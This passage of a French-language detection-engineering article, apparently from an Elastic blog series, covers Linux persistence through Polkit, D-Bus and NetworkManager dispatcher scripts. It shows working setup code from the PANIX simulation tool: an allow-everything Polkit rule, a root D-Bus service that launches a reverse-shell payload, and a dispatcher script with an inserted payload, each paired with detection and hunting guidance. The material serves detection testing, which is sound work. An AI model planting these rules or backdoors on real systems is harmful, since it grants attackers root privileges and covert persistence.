, qui stockent des modules Dracut personnalisés et à l'échelle du système. Des modifications non autorisées ici peuvent indiquer des tentatives de persistance de fonctionnalités malveillantes. - Indicateurs généraux de manipulation du noyau : utilisation des requêtes telles que le suivi de
secureboot
,kernel_info
et les modifications de fichiers dans/boot/
pour détecter des signes plus généraux de manipulation du noyau et du chargeur d'amorçage qui pourraient être liés à une utilisation abusive d'Initramfs.
En combinant les règles de recherche de Persistence via Initramfs et de General Kernel Manipulation et les requêtes de détection personnalisées répertoriées ci-dessus, vous pouvez identifier et répondre efficacement à T1542.
T1543 - Création ou modification des processus système : PolicyKit
PolicyKit (ou Polkit) est un service système qui fournit un framework d'autorisation pour gérer les actions privilégiées sur les systèmes Linux. Il permet un contrôle précis des privilèges à l'échelle du système, permettant aux processus non privilégiés d'interagir avec les processus privilégiés en toute sécurité. Polkit agit en tant qu'intermédiaire entre les services système et les utilisateurs et détermine si un utilisateur est autorisé à effectuer des actions spécifiques. Il détermine par exemple si un utilisateur peut redémarrer les services réseau ou installer des logiciels sans nécessiter toutes les autorisations sudo.
L'autorisation Polkit est régie par des règles, des actions et des politiques d'autorisation :
- Actions : définies dans des fichiers XML (
.policy
), elles spécifient les opérations que Polkit peut gérer, telles queorg.freedesktop.systemd1.manage-units
. - Règles : les fichiers de type JavaScript (
.rules
) déterminent comment les autorisations sont accordées pour des actions spécifiques. Ils peuvent vérifier les groupes d'utilisateurs, les variables d'environnement ou d'autres conditions. - Politiques d'autorisation : les fichiers
.pkla
définissent les autorisations par défaut ou par utilisateur/groupe pour les actions, déterminant si l'authentification est requise.
Les fichiers de configuration utilisés par Polkit se trouvent à différents emplacements, selon la version de Polkit présente sur le système et la distribution Linux active. Les principaux emplacements que vous devez connaître :
- Définitions des actions :
/usr/share/polkit-1/actions/
- Définitions des règles :
/etc/polkit-1/rules.d/
/usr/share/polkit-1/rules.d/
- Définitions des autorisations :
/etc/polkit-1/localauthority/
/var/lib/polkit-1/localauthority/
Un fichier Polkit .rules
définit la logique d'octroi ou de refus d'actions spécifiques. Ces fichiers permettent de déterminer avec flexibilité si un utilisateur ou un processus peut exécuter une action. En voici un exemple simple :
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.systemd1.manage-units" &&
subject.isInGroup("servicemanagers")) {
return polkit.Result.YES;
}
return polkit.Result.NOT_HANDLED;
});
Dans cette règle :
- L'action
org.freedesktop.systemd1.manage-units
(gestion des servicessystemd
) est accordée aux utilisateurs du groupeservicemanagers
. - Les autres actions sont traitées par défaut.
Cette structure permet aux administrateurs de mettre en œuvre des politiques personnalisées, mais elle ouvre également la porte aux utilisateurs malveillants qui peuvent insérer des règles trop permissives pour obtenir des privilèges non autorisés.
Actuellement, Polkit ne dispose pas d'une technique spécifique dans le framework MITRE ATT&CK. La correspondance la plus proche est T1543 : Création ou modification des processus système, qui décrit les utilisateurs malveillants qui modifient les processus au niveau du système pour garantir la persistance ou l'élévation des privilèges.
Dans la section suivante, nous allons explorer étape par étape comment les cybercriminels peuvent créer et déployer des règles et des fichiers d’autorisation Polkit malveillants, tout en discutant des stratégies de détection et d’atténuation.
Persistance via T1543 - Création ou modification des processus système : PolicyKit
Maintenant que nous avons compris la théorie, voyons comment la simuler en pratique à l'aide du module PANIX de setup_polkit.sh. Tout d'abord, le module vérifie la version active de Polkit à l'aide de la commande pkaction --version
, car les versions < 0,106 utilisent les anciens fichiers .pkla
, tandis que les nouvelles versions (>= 0,106) utilisent les fichiers .rules
les plus récents. Selon la version, le module continuera à créer une politique Polkit excessivement permissive. Pour les versions < 0,106, un fichier .pkla
est créé dans /etc/polkit-1/localauthority/50-local.d/
:
mkdir -p /etc/polkit-1/localauthority/50-local.d/
# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF
Cela permet à n'importe quel unix-user
d'effectuer n'importe quelle action via les paramètres Identity=unix-user:*
et Action=*
.
Pour les versions >= 0,106, un fichier .rules
est créé dans /etc/polkit-1/rules.d/
:
mkdir -p /etc/polkit-1/rules.d/
# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
return polkit.Result.YES;
});
EOF
Lorsqu'une politique trop permissive renvoie toujours polkit.Result.YES
, cela signifie que toute action nécessitant l'authentification de Polkit sera autorisée par n'importe qui.
Les règles Polkit sont traitées dans l'ordre lexicographique (ASCII), ce qui signifie que les fichiers dont le numéro est le bas sont chargés en premier et les règles ultérieures peuvent remplacer les précédentes. Si deux règles modifient la même politique, la règle avec le numéro le plus élevé est prioritaire car elle est évaluée en dernier. Pour s'assurer que la règle est exécutée et qu'elle remplace les autres, PANIX la crée avec un nom de fichier commençant par 99 (par exemple : 99-panix.rules
.
Exécutons le module PANIX avec les arguments de ligne de commande suivants :
> sudo ./panix.sh --polkit
[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.
Et observez les logs dans Kibana :
Lors de l’exécution de PANIX, nous pouvons observer que la commande pkaction --version
est émise pour déterminer si une approche de fichier .pkla
ou .rules
est nécessaire. Après avoir déterminé cela, la politique correcte est créée, et le service polkit
est redémarré (ce n'est cependant pas toujours nécessaire). Une fois ces politiques mises en place, un utilisateur avec un user.Ext.real.id
de 1000
(non-root) peut obtenir les privilèges root en exécutant la commande pkexec su -
.
Examinons nos opportunités de détection :
Règles de détection et de point de terminaison qui couvrent la persistance de Polkit
Catégorie | Couverture |
---|---|
File | Création de politique Polkit |
Persistance potentielle via la modification de fichiers | |
Processus | Découverte de la version Polkit |
Exécution inhabituelle de Pkexec |
Pour annuler des modifications, vous pouvez utiliser le module d'annulation correspondant en exécutant la commande suivante :
> ./panix.sh --revert polkit
[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.
Recherche de T1543 - Création ou modification des processus système : PolicyKit
Nous pouvons rechercher cette technique à l'aide d'ES|QL et d'OSQuery en nous concentrant sur les activités suspectes liées à la modification des fichiers de configuration et des règles de PolicyKit. L'approche inclut la recherche des éléments suivants :
- Créations et/ou modifications des fichiers de configuration de PolicyKit : suivi des changements dans les répertoires critiques contenant des règles personnalisées et globales, des descriptions d'actions et des règles d'autorisation. Le suivi de ces chemins aide à identifier les ajouts non autorisés ou les altérations qui pourraient indiquer une activité malveillante.
- Analyse des métadonnées des fichiers PolicyKit : inspection de la propriété des fichiers, des temps d'accès et des horodatages de modification pour les fichiers liés à PolicyKit. Des modifications non autorisées ou des fichiers dont la propriété est inattendue peuvent indiquer une tentative de persistance ou d'augmentation des privilèges via PolicyKit.
- Détection des événements rares ou anormaux : identification des événements inhabituels de modification ou de création de fichiers en analysant l'exécution des processus et en établissant une corrélation avec l'activité des fichiers. Cela permet de mettre en évidence des indicateurs subtils de compromission.
En combinant la règle de recherche de Persistence via PolicyKit avec les requêtes de détection personnalisées répertoriées ci-dessus, les analystes peuvent identifier et répondre efficacement à T1543.
T1543 - Création ou modification des processus système : D-Bus
D-Bus (Desktop Bus) est un système de communication inter-processus (IPC) largement utilisé dans Linux et d'autres systèmes d'exploitation de type Unix. Il fonctionne comme un bus de messages structuré, permettant aux processus, aux services système et aux applications de communiquer et de coordonner leurs actions. Pierre angulaire des environnements Linux modernes, D-Bus fournit le framework nécessaire à la communication à la fois au niveau du système et de l'utilisateur.
Au cœur de son fonctionnement, D-Bus facilite l'interaction entre les processus en fournissant un mécanisme standardisé pour l'envoi et la réception de messages, éliminant ainsi le besoin de solutions IPC personnalisées tout en améliorant l'efficacité et la sécurité. Il fonctionne par le biais de deux canaux de communication principaux :
- Bus système : utilisé pour la communication entre les services au niveau du système et les opérations privilégiées, telles que la gestion du matériel ou la configuration du réseau.
- Bus de session: utilisé pour la communication entre les applications au niveau de l'utilisateur, telles que les notifications de bureau ou les lecteurs multimédias.
Un daemon D-Bus gère le bus de messages et veille à ce que les messages soient acheminés en toute sécurité entre les processus. Les processus s'enregistrent sur le bus avec des noms uniques et fournissent des interfaces contenant des méthodes, des signaux et des propriétés avec lesquelles d'autres processus peuvent interagir. Les principaux éléments de la communication D-Bus sont les suivants :
Interfaces:
- Définir un ensemble de méthodes, de signaux et de propriétés proposés par un service.
- Exemple :
org.freedesktop.NetworkManager
fournit des méthodes pour gérer les connexions réseau.
Méthodes:
- Permettre à des processus externes d'invoquer des actions spécifiques ou de demander des informations.
- Exemple : la méthode
org.freedesktop.NetworkManager.Reload
peut être appelée pour recharger un service réseau.
Signaux:
- Notifications envoyées par un service pour informer d'autres processus des événements.
- Exemple : un signal peut indiquer un changement d'état de connexion réseau.
À titre d'exemple, la commande suivante envoie un message au bus système pour invoquer la méthode Reload
sur le service NetworkManager
:
dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0
Les services D-Bus sont des applications ou des daemons qui s'enregistrent sur le bus pour offrir des fonctionnalités. Si un service demandé n'est pas en cours d'exécution, le daemon D-Bus peut le lancer automatiquement à l'aide de fichiers de service prédéfinis.
Ces services utilisent des fichiers de service avec une extension .service
pour indiquer à D-Bus comment lancer un service. Par exemple :
[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root
Les fichiers de service D-Bus peuvent être localisés à plusieurs emplacements différents, selon que ces services fonctionnent à l'échelle du système ou au niveau de l'utilisateur, et en fonction de l'architecture et de la distribution Linux. Vous trouverez ci-dessous un aperçu des emplacements utilisés. Il ne s'agit pas d'une liste exhaustive, car les emplacements par défaut varient d'une distribution à l'autre :
- Configuration et services à l'échelle du système :
- Fichiers de service système :
/usr/share/dbus-1/system-services/
/usr/local/share/dbus-1/system-services/
- Fichiers de politique du système :
/etc/dbus-1/system.d/
/usr/share/dbus-1/system.d/
- Fichiers de configuration du système :
/etc/dbus-1/system.conf
/usr/share/dbus-1/system.conf
- Fichiers de service système :
- Configuration et services à l'échelle de la session :
- Fichiers de service de session :
/usr/share/dbus-1/session-services/
~/.local/share/dbus-1/services/
- Fichiers de politique de session :
/etc/dbus-1/session.d/
/usr/share/dbus-1/session.d/
- Fichiers de configuration de session :
/etc/dbus-1/session.conf
/usr/share/dbus-1/session.conf
- Fichiers de service de session :
Cliquez ici pour obtenir des informations plus détaillées sur chaque chemin. Les politiques D-Bus, rédigées en XML, définissent les règles de contrôle d'accès pour les services D-Bus. Ces politiques spécifient qui est autorisé à effectuer des actions telles que l'envoi de messages, la réception de réponses ou la possession de services spécifiques. Elles sont essentielles pour contrôler l'accès aux opérations privilégiées et garantir que les services ne soient pas utilisés à mauvais escient. Une politique D-Bus comporte plusieurs éléments clés :
- Contexte:
- Les politiques peuvent s'appliquer à des utilisateurs spécifiques, à des groupes ou à un contexte par défaut (
default
s'applique à tous les utilisateurs sauf en cas de dérogation).
- Règles d'autorisation/refus :
- Les règles accordent (
allow
) ou limitent (deny
) explicitement l'accès aux méthodes, aux interfaces ou aux services.
- Granularité:
- Les politiques peuvent contrôler l’accès à plusieurs niveaux :
- Services complets (par exemple,
org.freedesktop.MyService
). - Méthodes ou interfaces spécifiques (p. ex.
org.freedesktop.MyService.SecretMethod
).
- Services complets (par exemple,
L'exemple suivant illustre une politique D-Bus qui impose des restrictions d'accès claires :
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Default policy: Deny all access -->
<policy context="default">
<deny send_destination="org.freedesktop.MyService"/>
</policy>
<!-- Allow only users in the "admin" group to access specific methods -->
<policy group="admin">
<allow send_interface="org.freedesktop.MyService.PublicMethod"/>
</policy>
<!-- Allow root to access all methods -->
<policy user="root">
<allow send_destination="org.freedesktop.MyService"/>
</policy>
</busconfig>
Cette politique :
- Refuse par défaut tout accès au service
org.freedesktop.MyService
. - Accorde aux utilisateurs du groupe
admin
l'accès à une interface spécifique (org.freedesktop.MyService.PublicMethod
). - Accorde un accès complet à la destination
org.freedesktop.MyService
pour l'utilisateurroot
.
Le rôle central de D-Bus dans l'IPC en fait une cible potentielle intéressante pour les cybercriminels. Les vecteurs d'attaque potentiels sont les suivants :
- Piratage ou utilisation de services malveillants :
- Les utilisateurs malveillants peuvent remplacer ou ajouter des fichiers
.service
, par exemple,/usr/share/dbus-1/system-services/
pour détourner des communications légitimes ou injecter du code malveillant.
- Les utilisateurs malveillants peuvent remplacer ou ajouter des fichiers
- Création ou exploitation de politiques trop permissives :
- Des politiques faibles (par exemple, accorder à tous les utilisateurs l’accès à des services critiques) peuvent permettre aux utilisateurs malveillants d’invoquer des méthodes privilégiées.
- Utilisation abusive des services vulnérables :
- Si un service D-Bus ne valide pas correctement les entrées, les cybercriminels peuvent exécuter du code arbitraire ou effectuer des actions non autorisées.
Les exemples ci-dessus peuvent être utilisés pour l'élévation de privilèges, l'évasion par la défense et la persistance. Il n'existe actuellement aucune sous-technique MITRE ATT&CK spécifique pour D-Bus. Cependant, son utilisation abusive est étroitement liée à T1543 : Création ou modification des processus système, ainsi qu'à T1574 : Détournement du flux d'exécution pour les cas où les fichiers .service
sont modifiés.
Dans la section suivante, nous verrons comment un cybercriminel peut configurer des paramètres D-Bus excessivement permissifs qui envoient des connexions inversées avec des autorisations root, et nous discuterons des méthodes pour détecter ce comportement.
Persistance via T1543 - Création ou modification des processus système : D-Bus
Maintenant que nous savons tout sur la configuration de D-Bus, il est temps de voir comment simuler cela dans la pratique grâce au module PANIX setup_dbus.sh. PANIX commence par créer un fichier de service D-Bus sur /usr/share/dbus-1/system-services/org.panix.persistence.service
avec le contenu suivant :
cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF
Ce fichier de service écoutera sur l’interface org.panix.persistence
et exécutera le ''service'' /usr/local/bin/dbus-panix.sh
. Le script dbus-panix.sh
exécute simplement une connexion shell inversée lorsqu'il est appelé :
cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF
Pour garantir que tout utilisateur est autorisé à invoquer les actions correspondant à l'interface, PANIX configure un fichier /etc/dbus-1/system.d/org.panix.persistence.conf
avec le contenu suivant :
cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Allow any user to own, send to, and access the specified service -->
<policy context="default">
<allow own="org.panix.persistence"/>
<allow send_destination="org.panix.persistence"/>
<allow send_interface="org.panix.persistence"/>
</policy>
</busconfig>
EOF
Cette configuration définit une politique D-Bus qui permet à tout utilisateur ou processus de posséder le service org.panix.persistence
, d'envoyer des messages et d'interagir avec celui-ci, lui accordant ainsi un accès illimité. Après avoir redémarré le service dbus
, la configuration est terminée.
Pour interagir avec le service, la commande suivante peut être utilisée :
dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Cette commande envoie un appel de méthode au bus système D-Bus, en ciblant le service org.panix.persistence
, en invoquant la méthode org.panix.persistence.Method
sur l'objet /org/panix/persistence
, ce qui déclenche la porte dérobée.
Exécutons le module PANIX avec les arguments de ligne de commande suivants :
> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016
[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Lors de l'exécution de la commande dbus-send
:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Nous allons examiner les documents dans Kibana :
Lors de l'exécution de PANIX, les fichiers org.panix.persistence.service
, dbus-panix.sh
et org.panix.persistence.conf
sont créés, ce qui permet de préparer le terrain. Ensuite, le service dbus
est redémarré, et la commande dbus-send est exécutée pour interagir avec le service org.panix.persistence
. Lors de l'invocation de la méthode org.panix.persistence.Method
, la porte dérobée dbus-panix.sh
est exécutée et la chaîne de connexion du shell inversé (dbus-panix.sh
→ nohup
→ setsid
→ bash
) est lancée.
Examinons nos opportunités de détection :
Règles de détection et de points de terminaison qui couvrent la persistance de D-Bus
Catégorie | Couverture |
---|---|
File | Service D-Bus créé |
Persistance potentielle via la modification de fichiers | |
Processus | Appel suspect de méthode D-Bus |
Processus enfant D-Bus Daemon inhabituel |
Pour annuler des modifications, vous pouvez utiliser le module d'annulation correspondant en exécutant la commande suivante :
> ./panix.sh --revert dbus
[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.
Recherche de T1543 - Création ou modification des processus système : D-Bus
Nous pouvons rechercher cette technique à l'aide d'ES|QL et d'OSQuery en nous concentrant sur les activités suspectes associées à l'utilisation et à la modification de fichiers, de services et de processus liés à D-Bus. L'approche inclut le suivi des éléments suivants :
- Création et/ou modification des fichiers de configuration et de service D-Bus : suivi des modifications apportées aux répertoires critiques, tels que les fichiers de service et les fichiers de stratégie pour l'ensemble du système et pour les sessions. Le suivi de ces chemins permet de détecter les ajouts ou les modifications non autorisés qui peuvent indiquer une activité malveillante ciblant D-Bus.
- Analyse des métadonnées des fichiers D-Bus : contrôle de la propriété des fichiers, des dernières heures d'accès et des horodatages de modification des fichiers de configuration D-Bus. Cela peut révéler des modifications non autorisées ou la présence de fichiers inattendus pouvant indiquer des tentatives de persistance via D-Bus.
- Détection des processus suspects : suivi de l'exécution de processus tels que
dbus-daemon
etdbus-send
, qui sont des éléments clés de la communication D-Bus. Le suivi des lignes de commande, des processus parents et du nombre d'exécutions permet d'identifier les utilisations inhabituelles ou non autorisées. - Détection d'événements rares ou anormaux : identification des modifications de fichiers ou des exécutions de processus inhabituelles en corrélant les données des événements entre les points de terminaison. Cela met en évidence des indicateurs subtils de compromission, tels que des modifications rares des configurations critiques de D-Bus ou l'utilisation inattendue de commandes D-Bus.
En combinant la règle de recherche Persistence via Desktop Bus (D-Bus) avec les requêtes de détection personnalisées énumérées ci-dessus, les analystes peuvent identifier et répondre efficacement à T1543.
T1546 - Exécution déclenchée par un événement : NetworkManager
NetworkManager est un daemon très utilisé pour gérer les connexions réseau sur les systèmes Linux. Il permet de configurer des interfaces réseau câblées, sans fil, VPN et autres, tout en offrant une conception modulaire et extensible. L'une de ses fonctionnalités les moins connues mais les plus puissantes est sa fonction "dispatcher", qui permet d'exécuter automatiquement des scripts en réponse à des événements du réseau. Lorsque certains événements se produisent sur le réseau (par exemple, lorsqu'une interface est activée ou désactivée), le NetworkManager invoque les scripts situés dans ce répertoire. Ces scripts s'exécutent en tant que root, ce qui leur confère des privilèges importants.
- Types d’événements : NetworkManager transmet des événements spécifiques à des scripts, tels que :
up
: l'interface est activée.down
: l'interface est désactivée.vpn-up
: la connexion VPN est établie.vpn-down
: la connexion VPN est interrompue.
Les scripts placés dans /etc/NetworkManager/dispatcher.d/
sont des scripts shell standard et doivent être marqués comme exécutables. Un script dispatcher peut ressembler à ce qui suit :
#!/bin/bash
INTERFACE=$1
EVENT=$2
if [ "$EVENT" == "up" ]; then
logger "Interface $INTERFACE is up. Executing custom script."
# Perform actions, such as logging, mounting, or starting services
/usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
logger "Interface $INTERFACE is down. Cleaning up."
# Perform cleanup actions
fi
Logging des événements et exécution des commandes chaque fois qu'une interface réseau est activée ou désactivée.
Pour obtenir la persistance grâce à cette technique, un attaquant peut soit :
- Créer un script personnalisé, le marquer comme exécutable et le placer dans le répertoire du dispatcher.
- Modifier un script dispatcher légitime afin d'exécuter une charge utile lors d'un certain événement réseau.
La persistance via dispatcher.d/
s'aligne avec T1546 : Exécution déclenchée par un événement et T1543 : Création ou modification des processus système dans le cadre du framework MITRE ATT&CK. Les scripts dispatcher de NetworkManager n'ont cependant pas leur propre sous-technique.
Dans la section suivante, nous verrons comment les scripts dispatcher peuvent être exploités pour la persistance et nous visualiserons le flux de processus pour soutenir une ingénierie de détection efficace.
Persistance via T1546 - Exécution déclenchée par un événement :
Le concept de cette technique est très simple. Mettons-la en pratique avec le module PANIX setup_network_manager.sh. Le module vérifie si le paquet NetworkManager est disponible et si le chemin /etc/NetworkManager/dispatcher.d/
existe, car ce sont des conditions préalables au bon fonctionnement de la technique. Ensuite, il crée un nouveau fichier dispatcher sous /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
, avec une charge utile à la fin. Enfin, il accorde des autorisations d'exécution au fichier dispatcher, après quoi il est prêt à être activé.
cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e
if [ "$2" = "connectivity-change" ]; then
exit 0
fi
if [ -z "$1" ]; then
echo "$0: called with no interface" 1>&2
exit 1
fi
[...]
# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF
chmod +x "$dispatcher_file"
Nous avons inclus uniquement les extraits les plus pertinents du module mentionné ci-dessus. N’hésitez pas à consulter le code source du module si vous souhaitez en savoir plus.
Exécutons le module PANIX avec les arguments de ligne de commande suivants :
> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017
[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
Désormais, chaque fois qu'un nouvel événement réseau se déclenchera, la charge utile sera exécutée. Cela peut se faire en redémarrant le service NetworkManager, une interface ou en effectuant un redémarrage. Examinons les documents dans Kibana :
Lors de l'exécution de PANIX, le script panix-dispatcher.sh
est créé, marqué comme exécutable, et sed
est utilisé pour ajouter la charge utile à la fin du script. Après avoir redémarré le service NetworkManager
via systemctl
, nous pouvons voir nm-dispatcher
exécuter le script panix-dispatcher.sh
, ce qui déclenche la chaîne de shell inversé (panix-dispatcher.sh
→ nohup
→ setsid
→ bash
).
Enfin, passons en revue nos opportunités de détection :
Règles de détection et de point de terminaison qui couvrent la persistance du gestionnaire de réseau.
Pour annuler des modifications, vous pouvez utiliser le module d'annulation correspondant en exécutant la commande suivante :
> ./panix.sh --revert network-manager
[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.
Recherche de T1546 - Exécution déclenchée par un événement : NetworkManager
Nous pouvons rechercher cette technique à l'aide d'ES|QL et d'OSQuery en nous concentrant sur les activités suspectes liées à la création, à la modification et à l'exécution des scripts NetworkManager Dispatcher. L'approche inclut le suivi des éléments suivants :
- Créations et/ou modifications des scripts Dispatcher : suivi des modifications apportées au répertoire
/etc/NetworkManager/dispatcher.d/
. La surveillance des scripts nouveaux ou modifiés permet de détecter les ajouts ou les modifications non autorisés qui pourraient indiquer une intention malveillante. - Détection des processus suspects : suivi des processus exécutés par
nm-dispatcher
ou les scripts situés dans/etc/NetworkManager/dispatcher.d/
. L'analyse des lignes de commande, des processus parents et du nombre d'exécutions permet d'identifier les exécutions de scripts inhabituelles ou non autorisées. - Analyse des métadonnées des scripts Dispatcher : contrôle de la propriété, des heures d'accès et de l'horodatage des modifications des fichiers dans
/etc/NetworkManager/dispatcher.d/
. Cela peut révéler des modifications non autorisées ou des anomalies dans les attributs de fichiers qui pourraient indiquer des tentatives de persistance.
En combinant la règle de recherche Persistence via NetworkManager Dispatcher Script avec les requêtes de détection personnalisées énumérées ci-dessus, les analystes peuvent identifier et répondre efficacement à T1546.
Conclusion
Dans le cinquième et dernier chapitre de la série ''Linux Detection Engineering'', nous nous sommes intéressés aux mécanismes de persistance intégrés au processus de démarrage de Linux, aux systèmes d'authentification, à la communication inter-processus et aux utilitaires du noyau. Nous avons commencé par la persistance basée sur GRUB et la manipulation d'initramfs, couvrant à la fois les approches manuelles et les méthodes automatisées utilisant Dracut. Nous avons ensuite exploré la persistance basée sur Polkit, puis l'exploitation de D-Bus, et nous avons conclu avec les scripts dispatcher de NetworkManager, en soulignant leur potentielle utilisation abusive dans les scénarios de persistance.
Tout au long de cette série, PANIX a joué un rôle essentiel dans la démonstration et la simulation de ces techniques, vous permettant ainsi de tester vos capacités de détection et de renforcer vos défenses. Combinés aux requêtes ES|QL et OSQuery fournies, ces outils vous permettent d'identifier et de répondre efficacement aux mécanismes de persistance les plus avancés.
Au terme de cette série, nous espérons que vous vous sentez prêt à affronter les menaces de persistance de Linux en toute confiance. Armé de connaissances pratiques, de stratégies exploitables et d'une expérience concrète, vous êtes désormais bien préparé à vous défendre contre les cybercriminels qui ciblent les environnements Linux. Merci de votre participation et, comme toujours, restez vigilants et bonne recherche !